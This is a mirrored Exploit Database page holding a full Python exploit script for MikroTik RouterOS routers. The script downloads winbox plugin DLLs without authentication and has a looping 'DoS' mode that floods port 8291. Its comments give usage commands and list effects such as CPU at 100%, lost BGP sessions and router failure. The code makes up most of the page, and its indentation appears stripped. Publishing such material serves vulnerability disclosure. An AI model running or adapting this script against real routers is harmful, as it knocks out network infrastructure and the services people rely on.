Mikrotik Router – Denial of Service

Exploit Database
138 阅读

作者： PoURaN

日期： 2012-05-01
类别：
- dos
平台：
- hardware
来源：https://www.exploit-db.com/exploits/18817/

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#!/usr/bin/python

# Exploit Title: Mikrotik Router Remote Denial Of Service attack

# Date: 19/4/2012

# Author: PoURaN @ 133tsec.com

# Software Link: http://www.mikrotik.com

# Version: All mikrotik routers with winbox service enabled are affected (still a 0day 30/5/2012)

# Tested on: Mikrotis RouterOS 2.9.6 up to 5.15

#Vulnerability Description

# ===========================

# DETAILS & PoC VIDEO : http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/

# The denial of service, happens on mikrotik router's winbox service when

# the attacker is requesting continuesly a part of a .dll/plugin file, so the service

# becomes unstable causing every remote clients (with winbox) to disconnect

# and denies to accept any further connections. That happens for about 5 minutes. After

# the 5 minutes, winbox is stable again, being able to accept new connections.

# If you send the malicious packet in a loop (requestingpart of a file right after

# the service becoming available again) then you result in a 100% denial of winbox service.

# While the winbox service is unstable and in a denial to serve state, it raises router's CPU 100%

# and other actions. The "other actions" depends on the router version and on the hardware.

# For example on Mikrotik Router v3.30 there was a LAN corruption, BGP fail, whole router failure

# => Mikrotik Router v2.9.6 there was a BGP failure

# => Mikrotik Router v4.13 unstable wifi links

# => Mikrotik Router v5.14/5.15 rarely stacking

# =>>> Behaviour may vary most times, but ALL will have CPU 100% . Most routers loose BGP after long time attack <<<=

#The exploit

# =============

# This is a vulnerability in winbox service, exploiting the fact that winbox lets you download files/plugins

# that winbox client needs to control the server, and generally lets you gain basic infos about the service BEFORE

# user login!

# Sending requests specially crafted for the winbox service, can cause a 100% denial of winbox service (router side).

# This script, offers you the possibility to download any of the dlls that can be downloaded from the router one-by-one

# or alltogether! (look usage for more info) .. The file must be contained in the router's dll index.

# The dlls downloaded, are in the format of the winbox service.. Meaning that they are compressed with gzip and they

# have 0xFFFF bytes every 0x101 bytes (the format that winbox client is expecting the files)

# These DLLs can be used by the "Winbox remote code execution" exploit script ;)

#Usage

# =======

# Use the script as described below:

# 1. You can download ALL the files of the router's dll index using the following command:

# python mkDl.py 10.0.0.1 * 1

# the "1" in the end, is the speed.. "Speed" is a factor I added, so the script delays a bit while receiving

# information from the server. It is a MUST for remote routers when they are in long distance (many hops) to use

# a slower speed ( 9 for example ).

# Also in the beginning of the dlls file list, script shows you the router's version (provided by router's index)

# 2. You can download a specific .dll file from the remote router.

# python mkDl.py 10.67.162.1 roteros.dll 1

# In this example i download roteros.dll (which is the biggest and main plugin) with a speed factor of 1 (very fast)

# Because roteros and 1-2 other files are big, you have to request them in different part (parts of 64k each)

# That is a restriction of winbox communication protocol.

# If you don't know which file to request, make a "*" request first (1st usage example), see the dlls list, and press ctrl-c

# to stop the script.

# 3. You can cause a Denial Of Service to the remote router.. Means denial in winbox service or more (read above for more)

# python mkDl.py 10.67.162.1 DoS

# This command starts requesting from router's winbox service the 1st part of roteros.dll looping the request

# and causing DoS to the router. The script is requesting the file till the router stops responding to the port (8291)

# Then it waits till the service is up again (using some exception handling), then it requests again till the remote

# service is down again etc etc... The requests lasts for about 2 seconds, and the router is not responding for about

# 5 minutes as far as i have seen from my tests in different routeros versions.

# <> Greetz to mbarb, dennis, andreas, awmn and all mighty researchers out there! keep walking guys <>

import socket, sys, os, struct, random, time

def InitConnection(mikrotikIP, speed):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((mikrotikIP, 8291))

s.send(winboxStartingIndex)

data = s.recv(1024) # receiving dll index from server

time.sleep(0.001*speed)

if data.find("\xFF\x02"+"index"+"\x00") > -1:

print "[+] Index received!"

else:

print "[+] Wrong index.. Exiting.."

sys.exit(0)

return s

def download(filename, speed, s):

f = open(filename, 'wb')

if len(filename) < 13 and len(filename) > 6:

print "[+] Requesting file ", filename, ' <->'

winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter

s.send(winboxStartingFileReq)

time.sleep(0.001*speed)

dataReceived = s.recv(1)

if dataReceived[0:1]=='\xFF':

print "[+] Receiving the file..."

f.write(dataReceived) # written 1st byte

time.sleep(0.001*speed)

dataReceived = s.recv(0x101) # 0x100 + 1

nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]

if dataReceived[0:1]=='\x02':

time.sleep(0.001*speed)

f.write(dataReceived) # written 1st chunk 0x102 bytes with header in file.

dataReceived = s.recv(0x102) # 1st sequence of (0xFF 0xFF)

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2

f.write(dataReceived) # write the next 0x102 bytes (total 0x102+0x102 in file)

else:

print "[-] Wrong data received..(2)"

sys.exit(0)

else:

print "[-] Wrong data received..(1)"

sys.exit(0)

finalPart=0

bigFileCounter = 0xFFED

packetsCounted=0 # counter for the 0x101 packet counts. Every time a file is requested this counter is 0

fileRequested=0 # every time a file needs to be requested more than 1 time, this is it's counter.

while 1: # header of file done.. Now LOOP the body..

packetsCounted+=1 # dbg

time.sleep(0.001*speed)

dataReceived = s.recv(bytesToRead)

f.write(dataReceived)

if (bytesToRead <> len(dataReceived)) and packetsCounted==255: # an den diavazei osa bytesToRead prepei, simainei oti eftase sto telos i lipsi tou part pou katevazoume

packetsCounted = -1

print '[+] Next file part : ', fileRequested

s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) + struct.pack('>h',bigFileCounter))

time.sleep(0.001*speed)

dataReceived = s.recv(0x101 + 2) # Reads the new header of the new part!!!

nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]

f.write(dataReceived)

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)

fileRequested += 1

bigFileCounter -= 0x13

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) # den prostheto 2 tora giati to teleutaio den einai ff.. einai akrivos to size pou paramenei..

if bytesToRead==0xFF: # kalipto tin periptosi opou to teleutaio struct den einai ff alla exei to size pou apomenei

bytesToRead += 2

if bytesToRead != 0x101 and nextPartFingerprint < 65517: # dikaiologountai ta liga bytes otan teleiose ena apo ta parts tou file

time.sleep(0.001*speed)

dataReceived = s.recv(bytesToRead)

f.write(dataReceived)

break

if bytesToRead != 0x101 and nextPartFingerprint==65517: # ligotera bytes KAI fingerprint 65517 simainei corrupted file..

print '[-] File download terminated abnormaly.. please try again probably with a slower speed..'

sys.exit(0)

if fileRequested < 1: print '[+] File was small and was downloaded in one part\n[+] Downloaded successfully'

else: print '[+] File '+filename+' downloaded successfully'

f.close()

s.close()

def Flood(s):

filename = 'roteros.dll'

f = 'we\'r not gonna use I/O to store the data'

print "[+] Requesting file ", filename, ' till death :)'

time.sleep(1)

winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter

s.send(winboxStartingFileReq)

time.sleep(0.001)

dataReceived = s.recv(1)

if dataReceived[0:1]=='\xFF':

f = dataReceived # written 1st byte

time.sleep(0.001)

dataReceived = s.recv(0x101) # 0x100 + 1

nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]

if dataReceived[0:1]=='\x02':

time.sleep(0.001)

f = dataReceived # written 1st chunk 0x102 bytes with header in file.

dataReceived = s.recv(0x102) # 1st sequence of (0xFF 0xFF)

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2

f = dataReceived # write the next 0x102 bytes (total 0x102+0x102 in file)

else:

print "[-] Wrong data received..(2)"

sys.exit(0)

else:

print "[-] Wrong data received..(1)"

sys.exit(0)

finalPart=0

bigFileCounter = 0xFFED

packetsCounted=0 # counter for the 0x101 packet counts. Every time a file is requested this counter is 0

fileRequested=0 # every time a file needs to be requested more than 1 time, this is it's counter.

try:

while 1:

s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) + struct.pack('>h',bigFileCounter))

s.recv(1)

print '- Sending evil packet.. press CTRL-C to stop -'

except:

print 'Connection reseted by server.. trying attacking again'

###############################################################################################################

########################################### SCRIPT BODY STARTS HERE ###########################################

global RequestHeader

RequestHeader = ('\x12\x02')

global RequestFirstFooter

RequestFirstFooter = ('\xFF\xED\x00\x00\x00\x00')

global winboxStartingIndex

winboxStartingIndex=(RequestHeader + 'index' + '\x00'*7 + RequestFirstFooter)

winboxStartingFileReq=(RequestHeader + '\x00'*12 + RequestFirstFooter)

print '\n[Winbox plugin downloader]\n\n'

if len(sys.argv)==3:

if sys.argv[2]=='DoS': # if i combine both checks in 1st if, there will be error.. guess why.. ;)

print '[+] Hmmm we gonna attack it..'

time.sleep(1)

speed=1

mikrotikIP = sys.argv[1]

filename = sys.argv[2]

while 1:

time.sleep(1)

try:

s = InitConnection(mikrotikIP, speed)

Flood(s)

except:

time.sleep(1)

if len(sys.argv)<>4:

print 'Usage : '+sys.argv[0]+' <mikrotik_ip> <filename_to_download> <speed>\n\t<speed>:\t [from 0 to 9] 1=faster, 9=slower but more reliable\n'

sys.exit(0)

mikrotikIP = sys.argv[1]

filename = sys.argv[2]

speed = int(sys.argv[3])

if speed>9 or speed<1:

print 'Speed must be between 1 and 9 else there are unexpected results!'

sys.exit(0)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((mikrotikIP, 8291))

s.send(winboxStartingIndex)

data = s.recv(1024) # receiving dll index from server

s.close()

if filename.find('*') > -1:

DllList = data.split('\x0a')

print 'Mikrotik\'s version is '+DllList[1].split(' ')[3]+'\nThe following Dlls gonna be requested :'

for i in range(0, len(DllList)-1):

print DllList[i].split(' ')[2]

raw_input('> Press enter to continue <')

for extractedDlls in range(0, len(DllList)-1):

print "[+] Requesting ", DllList[extractedDlls].split(' ')[2]

filename=DllList[extractedDlls].split(' ')[2]

s = InitConnection(mikrotikIP, speed)

download(filename, speed, s)

else:

s = InitConnection(mikrotikIP, speed)

download(filename, speed, s)